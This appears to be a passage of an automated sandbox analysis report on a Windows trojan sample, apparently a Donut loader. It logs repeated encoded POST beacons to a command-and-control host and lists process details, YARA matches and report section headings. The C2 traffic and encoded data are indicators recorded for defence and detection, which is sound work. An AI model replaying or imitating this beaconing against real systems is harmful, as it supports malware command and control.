2025-01-22 07:36:58 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:58 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4As5BhX%2BADoSKtlQebe9AUKp2YeS%2FxGKkj%2FapQUexs0w3s%2FNjt59rBM05k%2FUkYjxNsUZ2paXoFoHyItQcQx0OO%2F9bxb37doea3kjZlJESYi8KEYj1RE6jg9j%2BM1F8haM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de043dbbf4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&min_rtt=1572&rtt_var=599&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=952&delivery_rate=1813664&cwnd=180&unsent_bytes=0&cid=c27573eeffe54c17&ts=364&x=0"
2025-01-22 07:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	50088	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:58 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:58 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:36:59 UTC	813	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lJwz66aPjBudRgwco%2FH9tBSuJx%2BWK2iSdE70kGanc7yVBgSKy6ja7iJ650DARrGl%2Fm7sQ%2BGn%2FUEkfhZtLPCm2ehPxLtiHfoEh%2BWCrV6Z2mHGopmeKdmj8XJzM9BFjc3Q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de048f814de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1463&min_rtt=1460&rtt_var=555&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1958417&cwnd=246&unsent_bytes=0&cid=d552412473e3ed27&ts=323&x=0"
2025-01-22 07:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50089	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:59 UTC	197	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 313 Cache-Control: no-cache
2025-01-22 07:36:59 UTC	313	OUT	Data Raw: 75 65 64 66 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d 23 2a 2a 23 4c 37 72 64 48 37 6e 43 45 58 35 66 6e 6b 7a 2f 62 71 61 6a 34 57 45 76 47 56 69 58 58 36 78 62 75 78 34 6f 31 78 4a 44 39 77 73 3d 23 2a 2a 23 72 48 65 56 52 6c 52 36 39 4a 62 2f 6a 50 65 37 58 72 54 44 78 69 55 73 47 73 68 64 34 53 76 65 7a 4c 35 52 4a 33 33 6c 75 43 45 3d 23 2a 2a 23 2f 36 6e 6e 75 4e 53 39 54 78 47 59 4c 67 2b 4e 4c 44 6e 2b 6d 41 3d 3d 23 2a 2a 23 65 34 65 39 6f 61 79 64 43 56 64 48 4c 39 36 46 71 48 4c 70 68 51 3d 3d 23 2a 2a 23 46 7a 2b 56 62 78 Data Ascii: uedf=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==##L7rdH7nCEX5fnkz/bqaj4WEvGViXX6xbux4o1xJD9ws=##rHeVRlR69Jb/jPe7XrTDxiUsGshd4SvezL5RJ33luCE=##/6nnuNS9TxGYLg+NLDn+mA==##e4e9oaydCVdHL96FqHLphQ==#**#Fz+Vbx
2025-01-22 07:36:59 UTC	814	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:36:59 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FENb%2FTWELkSLlNXADsrl86qlmfv%2FJXGfTBRhOdrqBlPVvQWgo7wWCD9iVoj0uocSaOvIi7H09GZCc%2BNB4CL7MoiOSE%2B67zxHeJHa2WB%2BZPrsCV7GTDg7eyxVwkJVMBG3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de04b4a05c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1476&min_rtt=1471&rtt_var=563&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1170&delivery_rate=1923583&cwnd=155&unsent_bytes=0&cid=6487369777312c64&ts=349&x=0"
2025-01-22 07:36:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50090	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:36:59 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:36:59 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:00 UTC	807	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0mleIlw76cSJbJzldIZMC4gyUI9wXu%2BAjFspKZ33UX3TON5rgv3ZQefe7oBgvNh3M7MEpnLXpeCiwyw%2BSfMSZwJJu0MnskdY9L3C%2FZ79NJsI2A1cdNob20rNx9xRL3mv"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de04e0ccade95-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1442&min_rtt=1437&rtt_var=550&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1968981&cwnd=246&unsent_bytes=0&cid=9416b15cba9ba0cc&ts=319&x=0"
2025-01-22 07:37:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50091	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:00 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:00 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:00 UTC	803	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:00 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MzBrwvI7sAwa5JXGs4npF325HBzuIBYCRxliZmm3cS8kOm3RCttFSyMxxOWbCDA527FBAx3wpV4U10cYLEl7U4tUjLcZzFT5Mor5hSYBusUQScUn%2BZTFHK3wFNk77X4E"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0531c78c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1466&min_rtt=1461&rtt_var=559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1936339&cwnd=155&unsent_bytes=0&cid=3975b0040e78e968&ts=324&x=0"
2025-01-22 07:37:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50092	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:01 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:01 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:01 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:01 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O13zCAP3q4LjvLtW%2BDNLqif%2BTNvz2EUv8tMXakdqmTS0K3kz2HaS%2FXICZEvDSRuhc97uCQ1Q5pNJ5gfpBFWM66NWXtU%2B90dzog90Bzib198thWulKRG5rTRlZvHsyJx8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de058190242eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1554&min_rtt=1545&rtt_var=597&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1805813&cwnd=215&unsent_bytes=0&cid=d482b94114fb5912&ts=323&x=0"
2025-01-22 07:37:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50093	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:02 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:02 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:02 UTC	805	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:02 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vRITVrOseMM43SGZjXWjJhy0peNlrXzmFDlO27ipCmlHs8DYqy22P8MhYjP6zUXpkodinnvCMpYYPztl55kNl%2FXBC%2BVGKREiXv6H6kyFKIdqvbAbP13IbvqWO4HgA4HB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de05d2af642eb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1573&min_rtt=1572&rtt_var=591&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1848101&cwnd=215&unsent_bytes=0&cid=8d581537aa24afb3&ts=322&x=0"
2025-01-22 07:37:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50094	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:03 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:03 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:03 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UxU5UXInp%2BagA7yOsPfzC7uoJJ6pimLsj%2FFfVhWvpGIpT2cGNUlhY2f6lfYJfpSQWgsfh4Nfjd09j%2B5RKQUGid%2BRnq3VYCPPQGQtzRx0%2B%2BH26prwP4D%2FvWZOIUTgvHn4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0623be48ca5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1754&min_rtt=1746&rtt_var=670&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=952&delivery_rate=1613259&cwnd=237&unsent_bytes=0&cid=be5329150f8b521e&ts=315&x=0"
2025-01-22 07:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50095	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:03 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:03 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:04 UTC	811	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a%2FbZSo15JBYgAgFo3pbmdicigitKTovKjR3iStVqGwwn40Pf2D24WGhgICc1%2Fw%2BRGA9TjEbIJGoXvdgZjmfnzP%2FhukUQ9lrDut52z%2FkGU5eNj4BRLEPe1FHwtXaSb7g9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de0673abc4414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1629&rtt_var=623&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1741204&cwnd=180&unsent_bytes=0&cid=2db4e59b0381c97f&ts=316&x=0"
2025-01-22 07:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50096	104.21.64.1	443	7092	C:\Users\user\Desktop\jhdfer3s_jh3de.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 07:37:04 UTC	196	OUT	POST /1WrCVzW4kSDNbNTt/cqWf4vQlofzqFkc7.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 Host: hongbaow.info Content-Length: 96 Cache-Control: no-cache
2025-01-22 07:37:04 UTC	96	OUT	Data Raw: 66 75 66 6f 6b 69 6e 3d 37 58 77 67 48 41 36 45 2f 61 53 71 45 31 6d 51 6b 4a 62 31 46 6b 44 4f 4c 6f 78 4a 33 44 37 4f 63 67 72 57 42 69 6a 67 31 4a 78 65 76 45 31 35 2f 50 53 67 48 6f 2f 6e 31 78 33 34 78 44 4f 4c 6d 6a 47 35 43 4f 58 4f 77 71 71 61 68 70 57 47 59 4f 4b 52 78 41 3d 3d Data Ascii: fufokin=7XwgHA6E/aSqE1mQkJb1FkDOLoxJ3D7OcgrWBijg1JxevE15/PSgHo/n1x34xDOLmjG5COXOwqqahpWGYOKRxA==
2025-01-22 07:37:04 UTC	809	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 07:37:04 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.4.33 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zH65H7355%2FpvrExPklZe2ROonzFjLDlSsO9okDxNPTtU1W2KHVc8ZyuOOKT5y0kTb0E%2FJJl9DeEMt2cg9zYU7J1dQgZMRGP%2BlN5PiTEikCWchdGTELz3GyXH7ckJs5%2BI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 905de06c3c70c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1493&min_rtt=1491&rtt_var=564&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=952&delivery_rate=1931216&cwnd=155&unsent_bytes=0&cid=ed83888dbb0f8d12&ts=322&x=0"
2025-01-22 07:37:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:34:59
Start date:	22/01/2025
Path:	C:\Users\user\Desktop\jhdfer3s_jh3de.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\jhdfer3s_jh3de.exe"
Imagebase:	0x180000
File size:	585'728 bytes
MD5 hash:	446FEE24759B2800C4EE7851930F07AA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2936750327.0000000001220000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2936607308.000000000102E000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	02:34:59
Start date:	22/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report jhdfer3s_jh3de.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\raw[1].txt

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Memory Usage

Windows Analysis Report
jhdfer3s_jh3de.exe